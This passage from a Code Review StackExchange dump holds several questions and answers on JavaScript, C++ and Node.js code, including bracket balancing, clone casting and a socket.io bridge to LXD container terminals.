<code>usage</code> function you might see elsewhere with <code>-EOF</code> which <em>dedents</em> tabs (<code>\\t</code>), or <code>'EOF'</code> to forbid expansion of variables (<code>$var</code>) and sub-shells (<code>$(ls some-dir)</code>); the latter is <em>groovy</em> to use when you don't want to escape (pre'ppend <code>\\</code>) a bunch of examples, where as the former should be avoided to keep code accessible.</p></li>\n</ul>\n\n<p>I could probably go-on, maybe I will in a future update, but for now I think this is a good pausing point to digest some of the above.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-05-02T05:37:48.600",
"Id": "219552",
"ParentId": "217373",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "219552",
"CommentCount": "10",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T07:46:23.400",
"Id": "217373",
"Score": "4",
"Tags": [
"beginner",
"bash",
"linux",
"shell",
"installer"
],
"Title": "Bash script to setup new Debian installs - follow-up"
} | 217373 |
<p><strong>The task</strong></p>
<p>I asked similar questions <a href="https://codereview.stackexchange.com/questions/217242/minimum-number-of-parentheses-to-be-removed-to-make-a-string-of-parentheses-bala">here</a> and <a href="https://codereview.stackexchange.com/questions/217275/check-whether-string-of-braces-brackets-and-parentheses-is-balanced">here</a>.</p>
<blockquote>
<p>Given a string of round, curly, and square open and closing brackets,
return whether the brackets are balanced (well-formed).</p>
<p>For example, given the string "([])", you should return true.</p>
<p>Given the string "([)]" or "((()", you should return false.</p>
</blockquote>
<p><strong>My solution</strong></p>
<p>...is inspired by <a href="https://codereview.stackexchange.com/a/217282/54442">@200_success' answer</a>. I only made it more concise.</p>
<pre><code>const isBracketBalanced = brc => {
const braces = {
"(": ")",
"[": "]",
"{": "}",
}, expectCloseStack = [];
const bracketIsBalanced = b => braces[b] ?
expectCloseStack.push(braces[b]) :
expectCloseStack.pop() === b;
return [...brc]
.every(bracketIsBalanced) &&
!expectCloseStack.length;
};
console.log(isBracketBalanced("([])[]({})"));
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T18:16:17.227",
"Id": "420577",
"Score": "0",
"body": "I'm not going to try again... I've been told off by 200_success that mine was a bad solution and only to react to yours, not create my own. After a while he removed all his comments (second thoughts?). I got downvoted and someone wants my post deleted. Nice. But just wondering: Your solution looks quite optimal now, what do you expect from reviewers? To optimize it even further? The only thing I can think of is that it would be nice if you added an explanation of your code. It is quite difficult to disentangle. What's the algorithm, and why it is the best solution you've found so far?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T18:20:34.083",
"Id": "420578",
"Score": "0",
"body": "Of course, I want others to suggest me a better solution or point what I could improve..... :) I usually don't comment my code because try to make my code as declarative as possible. If not, then I'd rather change my code than add a comment. @KIKOSoftware"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T18:24:08.730",
"Id": "420579",
"Score": "0",
"body": "To me it doesn't look very declarative. Just remember, you've been working on this for days, it's obvious to you what it does. The minimum you could do is explain the algorithm used, just to help people understand your approach."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T18:25:59.327",
"Id": "420581",
"Score": "0",
"body": "@KIKOSoftware according to you, what’s the most difficult part for you to understand?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T18:28:43.933",
"Id": "420584",
"Score": "0",
"body": "Yeah, I'm not going there. You know perfectly well that this is quite terse code, with lots of very specific syntactical elements. If you can't take a hint then forget it."
}
] | [
{
"body": "<p>There are some issues with the code:</p>\n\n<ul>\n<li>isBracketBalanced - Should be plural. It checks more than one bracket.</li>\n<li>bracketIsBalanced - Is basically the same name as the parent function, except it does more than just check if the bracket is balanced. It also manipulates the stack. </li>\n<li>braces - Didn't we just call them brackets?</li>\n<li>expectCloseStack declaration - This is perhaps just my personal preference, but to me, writing the declaration after a comma like that makes me look twice to see if it is part of the object that was declared above it.</li>\n</ul>\n\n<p>All in all, I find this solution a bit harder to read than the original. Also, it's actually not more concise.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T20:17:06.900",
"Id": "420595",
"Score": "0",
"body": "What would be a good name? `areBracketsBalanced`? Why would you prefer `switch-case` over the \"map\"?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T20:32:17.383",
"Id": "420596",
"Score": "0",
"body": "Something like that. I don't prefer the switch statement, I just didn't like the extracted function. I think it would be better if you inlined it actually. It's hard to name it well"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T20:35:51.643",
"Id": "420598",
"Score": "0",
"body": "Hmm...probably a matter of taste. I prefer to extract function. In this case it makes it more readable (but I'm biased :P): `every(bracketIsBalanced)` is very descriptive for me and you can only do it in language where functions are first class citizens. I just think one has to take advantage of that. But that's just my opinion."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T20:51:16.393",
"Id": "420600",
"Score": "0",
"body": "True, it would be more readable if the function didn't have side effects. But since it does, it's harder to read because the name implies no side effects. Granted, the function is just a couple lines above, so it could be wourse"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T20:52:23.163",
"Id": "420602",
"Score": "0",
"body": "I get your point about the \"side effects\"."
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T20:12:47.797",
"Id": "217411",
"ParentId": "217376",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": "217411",
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T08:51:12.320",
"Id": "217376",
"Score": "1",
"Tags": [
"javascript",
"algorithm",
"programming-challenge",
"functional-programming",
"balanced-delimiters"
],
"Title": "Check whether string of brackets are well-formed"
} | 217376 |
<p>Currently when the user selects some tags in my app I generate them in a function, like this:</p>
<pre><code>// Show tags that are currently used in search
var htmlNodes = '<ul class="tags">';
// If no pinned nodes, reset not found nodes
if (graphFactory.existPinnedNodes() == false) {
graphFactory.updateNotFoundNodes();
}
// Add not found nodes as tags (gray)
for (let x = 0; x < graphFactory.getNotFoundNodes().length; x++) {
htmlNodes = htmlNodes + '<li><a class="notfound" href="#">' + graphFactory.getNotFoundNodes()[x] + '</a></li>';
}
// Add pinned nodes as tags (blue)
for (let q = 0; q < graphFactory.getPinnedNodes().length; q++) {
htmlNodes = htmlNodes + '<li><a href="#">' + graphFactory.getPinnedNodes()[q] + '</a></li>';
}
htmlNodes = htmlNodes + '<div class="tagsend"></div></ul>';
$('#pinnednodeslist').html(htmlNodes);
</code></pre>
<p>Basically I create a <code><ul></code> of class <code>tags</code>, add some <code>li</code> elements with a specific tag each, and then render it into the <code>#pinnednodeslist</code> element.</p>
<p>As you can see, the number of <code><li></code> elements might change, depending on the number of <code>getPinnedNodes</code> or <code>getNotFoundNodes</code>, so I wonder if I have to reconstruct this html every time or if there is a more efficient way to do that...</p>
<p>Maybe a better way is that I don't have to mix so much HTML with my code? </p>
<p>For instance, I was thinking to leave all the elements there and just make them invisible, simply adding a class to show them and the html content to display within... But maybe you know of some other better way to do that?</p>
| [] | [
{
"body": "<p>First off: It's invalid HTML to have a <code>div</code> directly inside an <code>ul</code> element. Any special reason you need the <code><div class=\"tagsend\"></div></code>? Modern CSS techniques usually don't need additional elements like that.</p>\n\n<hr>\n\n<p>You shouldn't repeatedly call the getter methods in a loop like that. If they do more work than just returning an array, then it's wasted performance. </p>\n\n<pre><code>let notFoundNodes = graphFactory.getNotFoundNodes();\nfor (let x = 0; x < notFoundNodes.length; x++) {\n htmlNodes = htmlNodes + '<li><a class=\"notfound\" href=\"#\">' + notFoundNodes[x] + '</a></li>';\n}\n</code></pre>\n\n<p>Or, considering you are using <code>let</code> which is part of ECMAScript 2015, you could alternatively use a <code>for ... of</code> loop:</p>\n\n<pre><code>for (let notFoundNode of graphFactory.getNotFoundNodes()) {\n htmlNodes = htmlNodes + '<li><a class=\"notfound\" href=\"#\">' + notFoundNode + '</a></li>';\n}\n</code></pre>\n\n<hr>\n\n<p>Concatenating strings in loops are also quite a wasteful operation, because they cannot be optimized by the runtime environment. A better way is to collect the strings in an array, and then joining them together at the end:</p>\n\n<pre><code>var htmlNodes = ['<ul class=\"tags\">'];\n\n// ...\n\nfor (let notFoundNode of graphFactory.getNotFoundNodes()) {\n htmlNodes.push('<li><a class=\"notfound\" href=\"#\">' + notFoundNode + '</a></li>');\n}\n\n// ...\n\nhtmlNodes.push('</ul>');\n$('#pinnednodeslist').html(htmlNode.join(''));\n</code></pre>\n\n<hr>\n\n<p>In order to avoid mixing the HTML you could use a <a href=\"http://www.google.de/search?q=javascript%20template%20engine\" rel=\"nofollow noreferrer\">template engine</a>. There are literally dozens out there, with many pros and cons, which can make the choice a bit overwhelming. For an example I'll use <a href=\"http://handlebarsjs.com\" rel=\"nofollow noreferrer\">Handlebars.js</a>:</p>\n\n<p>The template is placed inside a <code>script</code> element somewhere in your HTML:</p>\n\n<pre><code><script id=\"tags-template\" type=\"text/x-handlebars-template\">\n <ul class=\"tags\">\n {{#each notFoundNodes}}\n <li><a class=\"notfound\" href=\"#\">{{this}}</a></li>\n {{/each}}\n {{#each pinnedNodes}}\n <li><a href=\"#\">{{this}}</a></li>\n {{/each}}\n </ul>\n</script>\n</code></pre>\n\n<p>Once during page initialization you compile the template:</p>\n\n<pre><code>var source = document.getElementById(\"tags-template\").innerHTML;\nvar tagsTemplate = Handlebars.compile(source); \n</code></pre>\n\n<p>And then later you can repeatedly use the compiled template to render the data:</p>\n\n<pre><code>var context = {\n notFoundNodes: graphFactory.getNotFoundNodes(),\n pinnedNodes: graphFactory.getPinnedNodes()\n};\nvar html = tagsTemplate(context);\n$('#pinnednodeslist').html(html);\n</code></pre>\n\n<p>EDIT: BTW, nothing in this (or your original code) really requires jQuery. The last line could simply replaced with:</p>\n\n<pre><code>document.getElementById('pinnednodeslist').innerHtml = html;\n</code></pre>\n\n<hr>\n\n<p>The next step could be to use more advanced library such as <a href=\"https://reactjs.org\" rel=\"nofollow noreferrer\">React</a>, <a href=\"https://vuejs.org\" rel=\"nofollow noreferrer\">Vue.js</a> or <a href=\"https://angular.io\" rel=\"nofollow noreferrer\">Angular</a>. These are frameworks that not only render the data with a template engine, but also can (among other things) react to changes in the data and re-render automatically when even needed. This however requires learning a bit of a different way of programming.</p>\n\n<hr>\n\n<p>Finally, if the data displayed is coming from the server (via AJAX for example), then you could consider having the server render the HTML instead of sending the raw data.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T09:25:16.510",
"Id": "217476",
"ParentId": "217377",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T09:15:30.753",
"Id": "217377",
"Score": "2",
"Tags": [
"javascript",
"jquery",
"interface"
],
"Title": "Rendering elements (which can change numbers) using jQuery"
} | 217377 |
<p>As part of a web-based claims system I have created, there is a view for logging telephone calls. If a call is incoming, the claims handler asks the caller a series of data protection questions to validate who they are. The questions are generated from a database and each question has one or more valid answers. The valid answers are also generated from the database.</p>
<p>Example view:</p>
<p><a href="https://i.stack.imgur.com/Ow3sS.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Ow3sS.png" alt="enter image description here"></a></p>
<p>Things of note for my question:</p>
<ul>
<li>In addition to the valid answers, there are also 'Unanswered' and 'Incorrect Response' answers. These are added via client code and are not part of the original valid answers generated by the database.</li>
<li>Each valid answer has a 'check' icon</li>
<li>The invalid answer has a 'cross' icon</li>
<li>The unanswered answer has no icon</li>
</ul>
<p>Here's my client code for each type of answer:</p>
<pre><code>class Answer {
constructor(answer, state) {
this.el = document.createElement('option');
this.el.value = answer;
this.el.textContent = answer;
state.apply(this);
}
}
class AnswerState {
constructor(validationIcon, validationColor) {
this.validationIcon = validationIcon;
this.validationColor = validationColor;
}
apply(answer) {
answer.el.setAttribute('data-validation-icon', this.validationIcon);
answer.el.setAttribute('data-validation-color', this.validationColor);
}
}
class UnansweredState extends AnswerState {
apply(answer) {
super.apply(answer);
answer.el.setAttribute('data-unanswered', '');
}
}
class ValidAnswerState extends AnswerState {
apply(answer) {
super.apply(answer);
answer.el.setAttribute('data-valid', '');
answer.el.setAttribute('data-icon', 'icons/round-done-24px.svg');
}
}
class InvalidAnswerState extends AnswerState {
apply(answer) {
super.apply(answer);
answer.el.setAttribute('data-invalid', '');
answer.el.setAttribute('data-icon', 'icons/round-clear-24px.svg');
}
}
export { Answer, UnansweredState, ValidAnswerState, InvalidAnswerState };
</code></pre>
<p>And this is how I create the answer select element for each question:</p>
<pre><code>function createAnswerSelect(validAnswers) {
const select = document.createElement('select');
const unansweredState = new UnansweredState('remove', 'grey');
const invalidAnswerState = new InvalidAnswerState('clear', 'red');
const validAnswerState = new ValidAnswerState('done', 'green');
select.add(new Answer('Unanswered', unansweredState).el);
validAnswers.forEach(answer => {
select.add(new Answer(answer.answer, validAnswerState).el);
});
select.add(new Answer('Incorrect response', invalidAnswerState).el);
return select;
}
</code></pre>
<p>Is this a reasonable way to encapsulate the variability of the different type of answers (unanswered, valid, invalid)? It feels like 'unanswered' should be the state of a question, not an answer. </p>
<p>As per usual, I am questioning myself. The code works, but I have a nagging feeling it is a 'bad' design somehow.</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T11:25:00.263",
"Id": "420524",
"Score": "0",
"body": "What you're doing is predefining the final 'state' of the question; 'not answered', 'incorrect', and 'correct', already in the answer options, using `data-*` properties. It is a practical solution, and I have no problem seeing that as a part of an answer."
}
] | [
{
"body": "<h2>Object literals</h2>\n<p>By the looks this is client side UI only and the actual results are stored in the database.</p>\n<p>Your concern is not that of the data structure, but rather one of representation.</p>\n<p>The task is defined by what you have in <code>createAnswerSelect(validAnswers) {</code></p>\n<p>Your code is attempting to imitate a higher level abstraction unrelated to the task you need to complete. This has forced you to presented 4 additional interfaces to the scope you are working in <code>Answer</code>, <code>UnansweredState</code>, <code>ValidAnswerState</code>, <code>InvalidAnswerState</code> that you are unsure of.</p>\n<p>Javascript lets you define objects as literals, you can side step the noise related to defining named Objects, Prototypes, functions, calls to super etc, yet still keep the same underlying relationship of shared and unique state.</p>\n<h2>Example</h2>\n<p>The best code is that which does it quickly and as simply as possible. Creating an inherited structure just to hold some shared and unique states is too complex.</p>\n<p>This example is an alternative (based on the information you have provided)</p>\n<p>It defines the 3 states as named constants that access state information via a Map of named states, rather than the 3 objects you defined <code>UnansweredState</code>, <code>ValidAnswerState</code>, <code>InvalidAnswerState</code></p>\n<pre><code>const UNANSWERED = 1;\nconst INVALID = 2;\nconst VALID = 3;\n\nconst createElement = (type, opts = {}) => Object.assign(document.createElement(type), opts);\nconst common = (icon, color) => ({icon, color});\nconst states = new Map([\n [UNANSWERED, {...common("remove", "grey"), data: {unanswered: ""}}],\n [INVALID, {...common("clear", "red"), data: {valid: "", icon: "icons/round-done-24px.svg"}}],\n [VALID, {...common("done", "green"), data: {invalid: "", icon: "icons/round-clear-24px.svg"}}],\n]);\nconst option = (answer, stateId) => {\n const state = states.get(stateId);\n const option = createElement("option", {value: answer, textContent: answer });\n Object.assign(option.dataset, state.data);\n option.dataset.validationIcon = state.icon;\n option.dataset.validationColor = state.color; \n return option;\n} \n\nfunction createAnswerSelect(answers) {\n const select = createElement('select');\n select.add(option("Unanswered", UNANSWERED));\n answers.forEach(answer => select.add(option(answer.answer, VALID)) );\n select.add(option("Incorrect response", INVALID));\n return select; \n} \nexport { createAnswerSelect };\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T19:36:26.627",
"Id": "420591",
"Score": "0",
"body": "Thank you for responding. I take your point that creating an inheritance hierarchy, in this instance, is probably overkill. But I would argue that my solution is easier to read and understand (to my eyes, at least), which is useful to me if I need to revisit it at some point later. Granted, my question was not ‘how readable is my code?’. Nonetheless, it is something I consider important."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T12:15:24.407",
"Id": "217392",
"ParentId": "217381",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T10:23:45.127",
"Id": "217381",
"Score": "1",
"Tags": [
"javascript",
"design-patterns",
"state"
],
"Title": "View for logging telephone calls"
} | 217381 |
<p>Context: I'm using the clone pattern for creating copies of polymorphic classes which may use virtual inheritance (I hope to get rid of the latter). So when calling <code>foo.clone()</code> I'm guaranteed to get the same type as <code>foo</code> even though the <code>clone</code> function might return only the base class (say <code>ICloneable</code>)</p>
<p>So I wrapped the clone call into a freestanding <code>clone</code> function which casts the pointer to the class passed and additionally puts it into a <code>unique_ptr</code>.</p>
<p>However the cast is a problem. <code>dynamic_cast</code> has too much overhead as I already know what type I'll get and <code>static_cast</code> doesn't work with base to derived casts on virtual bases.</p>
<p>So this is what I came up with:</p>
<pre><code>template<typename T, typename U, typename = void>
struct is_static_castable : std::false_type
{};
template<typename T, typename U>
struct is_static_castable<T, U, decltype(void(static_cast<U>(std::declval<T>())))> : std::true_type
{};
template<typename To, typename From>
std::enable_if_t<is_static_castable<From*, To*>::value, To*>
safePtrCast(From* from)
{
return static_cast<To*>(from);
}
template<typename To, typename From>
std::enable_if_t<!is_static_castable<From*, To*>::value, To*>
safePtrCast(From* from)
{
return dynamic_cast<To*>(from);
}
template<class T>
auto clone(const T* obj)
{
return std::unique_ptr<T>(safePtrCast<T>(obj->clone()));
}
</code></pre>
<p>Some notes:</p>
<ul>
<li>C++14</li>
<li><code>void</code> conversion in <code>is_static_castable</code> is required so MSVC 2015 does not fail for <code>is_static_castable<int, int></code>, no idea why</li>
<li><code>safePtrCast</code> can be enhanced with an <code>assert(dynamic_cast...</code> if wanted</li>
<li>return type <code>enable_if</code> used due to a bug in GCC 8: <a href="https://godbolt.org/z/6-C6CS" rel="nofollow noreferrer">https://godbolt.org/z/6-C6CS</a></li>
</ul>
<p>Any remarks on potential issues?<br>
Possible cases I missed?<br>
Improvements to make it more readable?</p>
<p>Otherwise feel free to use the code for own projects :)</p>
<p>The non-MSVC version of <code>is_static_castable</code> is slightly clearer:</p>
<pre><code>template<typename T, typename U, typename = U>
struct is_static_castable : std::false_type
{};
template<typename T, typename U>
struct is_static_castable<T, U, decltype(static_cast<U>(std::declval<T>()))> : std::true_type
{};
</code></pre>
<p>Example for not using covariant return types:</p>
<pre><code>struct ICloneable{ virtual ICloneable* clone() = 0; };
struct Middle: ICloneable{...};
struct Final: Middle{ Final* clone(); };
void foo(Middle* bar){
auto barCloned = clone(bar); // Should be a unique_ptr<Middle>
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T11:08:19.533",
"Id": "420523",
"Score": "0",
"body": "Re \"`void` conversion in `is_static_castable` is required so MSVC 2015 does not fail for `is_static_castable<int, int>`, no idea why\": otherwise the type is not `void`, and `typename = void` does not select it. This is not restricted to MSVC 2015."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T11:32:17.567",
"Id": "420525",
"Score": "0",
"body": "Oh right. I added a note how it would look like for all but MSVC (not using `void`)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T12:21:14.407",
"Id": "420535",
"Score": "0",
"body": "\"even though the clone function might return only the base class\"... can you show an example class hierarchy that requires this? The normal solution is to use covariant return types (this is actually the classic motivating example for the language feature): https://en.wikibooks.org/wiki/More_C%2B%2B_Idioms/Covariant_Return_Types"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T13:37:00.120",
"Id": "420550",
"Score": "2",
"body": "I took me a while to find the use case again but now I added it: It occurs when you have a pointer to a class from the middle of the hierarchy. Only the final classes should implement the clone function (I might even `static_assert` this) to avoid mistakes. Obviously this is use-case dependent but for this question assume that there are \"middle\" classes which have other pure-virtual functions so a clone implementation there would not be useful."
}
] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T11:06:21.683",
"Id": "217385",
"Score": "4",
"Tags": [
"c++",
"c++14",
"inheritance",
"casting"
],
"Title": "Safe pointer casting : static_cast or dynamic_cast"
} | 217385 |
<p><strong>The task:</strong></p>
<blockquote>
<p>Given a list of numbers and a number k, return whether any two numbers
from the list add up to k.</p>
<p>For example, given [10, 15, 3, 7] and k of 17, return true since 10 +
7 is 17.</p>
<p>Bonus: Can you do this in one pass?</p>
</blockquote>
<pre><code>const lst = [14, 10, 3, 7, 0];
const k = 14;
</code></pre>
<p><strong>My solution 1:</strong></p>
<pre><code>const addUpTo = (lst, k) => lst.some((x, i) => !isNaN(lst.find((y, j) => i !== j && y === k - x)));
console.log(addUpTo(lst, k));
</code></pre>
<p><strong>My solution 2:</strong></p>
<pre><code>const addUpTo2 = (lst, k) => lst.some((x, i) => {
const find = k - x;
return !isNaN(lst.slice(i + 1).find(y => y === find));
});
console.log(addUpTo2(lst, k));
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T13:07:15.267",
"Id": "420542",
"Score": "1",
"body": "This question is self-contained. How does this question \"lack context\"? What is incomplete about this question?"
}
] | [
{
"body": "<p>These solutions have quadratic runtime. You can store counts (in an object) and check the object for <code>k-x</code>, or sort the array, check values up to <code>k/2</code> and binary search for <code>k-x</code>. The second approach is asymptotically slower but constant storage.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T13:53:06.487",
"Id": "217396",
"ParentId": "217390",
"Score": "4"
}
}
] | {
"AcceptedAnswerId": "217396",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T11:47:30.437",
"Id": "217390",
"Score": "1",
"Tags": [
"javascript",
"programming-challenge",
"functional-programming",
"comparative-review",
"k-sum"
],
"Title": "Given a list and a number k return whether any two numbers from the list add up to k"
} | 217390 |
<p>I have this code I use it for two things </p>
<ol>
<li>connect to lxd instances and emits any operation events it recieves over socket.io to the client</li>
<li>Bridge between client and lxd for terminals </li>
</ol>
<p>Its pretty poorly written so any pointers would be great (but it works fine)</p>
<pre><code>// This originated from https://gist.github.com/CalebEverett/bed94582b437ffe88f650819d772b682
// and was modified to suite our needs
const fs = require('fs'),
WebSocket = require('ws'),
express = require('express'),
https = require('https'),
mysql = require('mysql'),
expressWs = require('express-ws'),
path = require('path'),
cors = require('cors');
const envImportResult = require('dotenv').config({
path: "/var/www/LxdMosaic/.env"
});
if (envImportResult.error) {
throw envImportResult.error
}
// Https certificate and key file location for secure websockets + https server
var privateKey = fs.readFileSync(process.env.CERT_PRIVATE_KEY, 'utf8'),
certificate = fs.readFileSync(process.env.CERT_PATH, 'utf8');
certDir = "/var/www/LxdMosaic/src/sensitiveData/certs/",
lxdConsoles = [],
credentials = {
key: privateKey,
cert: certificate
},
app = express();
app.use(cors());
var bodyParser = require('body-parser')
app.use( bodyParser.json() ); // to support JSON-encoded bodies
app.use(bodyParser.urlencoded({ // to support URL-encoded bodies
extended: true
}));
var httpsServer = https.createServer(credentials, app);
var io = require('socket.io')(httpsServer);
var operationSocket = io.of("/operations")
// expressWs(app, httpsServer);
var con = mysql.createConnection({
host: process.env.DB_HOST,
user: process.env.DB_USER,
password: process.env.DB_PASS,
database: process.env.DB_NAME
});
var hostDetails = {};
function createExecOptions(host, container) {
return {
method: 'POST',
host: hostDetails[host].hostWithOutProtoOrPort,
port: hostDetails[host].port,
path: '/1.0/containers/' + container + '/exec',
cert: fs.readFileSync(hostDetails[host].cert),
key: fs.readFileSync(hostDetails[host].key),
rejectUnauthorized: false
}
}
const lxdExecBody = JSON.stringify({
"command": ["bash"],
"environment": {
"HOME": "/root",
"TERM": "xterm",
"USER": "root"
},
"wait-for-websocket": true,
"interactive": true,
})
con.connect(function(err) {
if (err) {
throw err;
}
});
function createWebSockets() {
con.query("SELECT * FROM Hosts", function(err, result, fields) {
if (err) {
throw err;
}
for (i = 0; i < result.length; i++) {
let lxdClientCert = certDir + result[i].Host_Cert_Only_File
let lxdClientKey = certDir + result[i].Host_Key_File
if(result[i].Host_Online == 0){
continue;
}
// Connecting to the lxd server/s
const wsoptions = {
cert: fs.readFileSync(lxdClientCert),
key: fs.readFileSync(lxdClientKey),
rejectUnauthorized: false,
}
var portRegex = /:[0-9]+/;
let stringUrl = result[i].Host_Url_And_Port;
let urlURL = new URL(result[i].Host_Url_And_Port);
let hostWithOutProto = stringUrl.replace("https://", "");
let hostWithOutProtoOrPort = hostWithOutProto.replace(portRegex, "");
hostDetails[result[i].Host_Url_And_Port] = {
cert: lxdClientCert,
key: lxdClientKey,
hostWithOutProtoOrPort: hostWithOutProtoOrPort,
port: urlURL.port
};
var ws = new WebSocket('wss://' + hostWithOutProto + '/1.0/events?type=operation', wsoptions);
ws.on('message', function(data, flags) {
var buf = Buffer.from(data)
let message = JSON.parse(data.toString());
message.host = hostWithOutProtoOrPort;
operationSocket.emit('operationUpdate', message);
});
}
});
}
httpsServer.listen(3000, function() {});
app.get('/hosts/reload/', function(req, res) {
createWebSockets();
res.send({
success: "reloaded"
});
});
app.post('/hosts/message/', function(req, res) {
console.log(req.body.data);
operationSocket.emit(req.body.type, req.body.data);
res.send({
success: "delivered"
});
});
app.get('/', function(req, res) {
res.sendFile(path.join(__dirname + '/index.html'));
});
var terminalsIo = io.of("/terminals");
terminalsIo.on("connect", function(socket) {
let indentifier = socket.handshake.query.pid;
if(lxdConsoles[indentifier] == undefined) {
let host = socket.handshake.query.host;
let container = socket.handshake.query.container;
let execOptions = createExecOptions(host, container);
const wsoptions = {
cert: execOptions.cert,
key: execOptions.key,
rejectUnauthorized: false
}
const lxdReq = https.request(execOptions, res => {
res.on('data', d => {
const output = JSON.parse(d);
if(output.hasOwnProperty("error") && output.error !== ""){
socket.emit("data", "Container Offline");
return false;
}
const lxdWs = new WebSocket('wss://' +
execOptions.host + ':' + execOptions.port + output.operation +
'/websocket?secret=' + output.metadata.metadata.fds['0'],
wsoptions
);
lxdWs.on('error', error => console.log(error));
lxdWs.on('message', data => {
try {
const buf = Buffer.from(data);
data = buf.toString();
socket.emit("data", data);
} catch (ex) {
// The WebSocket is not open, ignore
}
});
lxdConsoles.push(lxdWs);
});
});
lxdReq.write(lxdExecBody);
lxdReq.end();
}
//NOTE When user inputs from browser
socket.on('data', function(msg) {
lxdConsoles[indentifier].send(msg, {
binary: true
}, () => {});
});
socket.on('close', function(indentifier) {
setTimeout(() => {
if(lxdConsoles[indentifier] == undefined){
return
}
lxdConsoles[indentifier].send('exit \r', { binary: true }, function(){
lxdConsoles[indentifier].close();
delete lxdConsoles[indentifier];
});
}, 100);
});
});
app.post('/terminals', function(req, res) {
// Create a indentifier for the console, this should allow multiple consolses
// per user
res.send(lxdConsoles.length.toString());
});
createWebSockets();
</code></pre>
<p>(This comes from an open source project I maintain <a href="https://github.com/turtle0x1/LxdMosaic" rel="noreferrer">here</a> so if you do give an answer be aware it may be used there)</p>
| [] | [
{
"body": "<p>In node, throwing an error without catching it will kill the process. This seems to be the primary error handling mode (and based on <a href=\"https://github.com/turtle0x1/LxdMosaic/blob/183077dfb0a1ec23550ec3e5938eb62bb801f457/examples/install_with_clone.sh#L66\" rel=\"nofollow noreferrer\">this</a> it seems you then rely on pm2 to restart the process). This means that if even one client manages to trigger an error in your code, every client will be disconnected. Fixing this would require rewriting a lot of the code to handle asynchronous errors correctly -- for example, make <code>createWebSockets</code> return a promise and reject that promise if the DB query errors, and then handle that error in <code>/hosts/reload/</code> and pass the error along to the client.</p>\n\n<hr>\n\n<p><code>createWebSockets()</code> calls <code>fs.readFileSync</code> in a loop -- if there are a large number of hosts this could cause the whole server to freeze while the certs/keys are being reread for every host. You could consider both caching keys that have already been read (so you're not just rereading the same keys on every reload) and/or using the asynchronous <code>fs.readFile</code> API. (If you're familiar with promises you can use async/await and <code>fs.promises.readFile</code> to keep a similar code structure)</p>\n\n<hr>\n\n<p><code>/hosts/reload/</code> sounds like it is intended to be run many times to reload the list of hosts, but <code>createWebSockets()</code> doesn't handle reloads any differently than the initial setup. This has a few issues:</p>\n\n<ul>\n<li>If a host is deleted from the DB, <code>hostDetails</code> will still include information about the host</li>\n<li>The <code>events?type=operation</code> websockets are setup, but then the handle to them is thrown away. So not only are errors and host deletions not handled, but a fresh websocket will also be created for hosts that already existed during the previous reload. This means there will be multiple websockets connected to a single host, with their listeners still forwarding messages. This is not only a memory leak, but it also means there will be duplicate <code>operationUpdate</code> messages being sent over <code>operationSocket</code>.\n\n<ul>\n<li>Similarly, long lived sockets like these should usually have error handling and retry logic.</li>\n</ul></li>\n</ul>\n\n<hr>\n\n<p><code>if(lxdConsoles[indentifier] == undefined) {</code></p>\n\n<p>and</p>\n\n<p><code>res.send(lxdConsoles.length.toString());</code></p>\n\n<p>It looks like <code>lxdConsoles.length</code> is used as a unique identifier (<a href=\"https://github.com/turtle0x1/LxdMosaic/blob/caaebbd51fc340fad1358b21c7f98ba2d497752e/src/views/boxes/container.php#L365\" rel=\"nofollow noreferrer\">here</a>) -- but this isn't guaranteed to work if two clients both try and open a console at the same time. It could happen that they both request <code>POST /terminals</code>, get the same id back, and then both try to pass that same id back to the websocket. </p>\n\n<p>An easy fix would be to switch <code>lxdConsoles</code> to be an object instead of an array and have the <code>POST /terminals</code> handler just return a uuid instead of 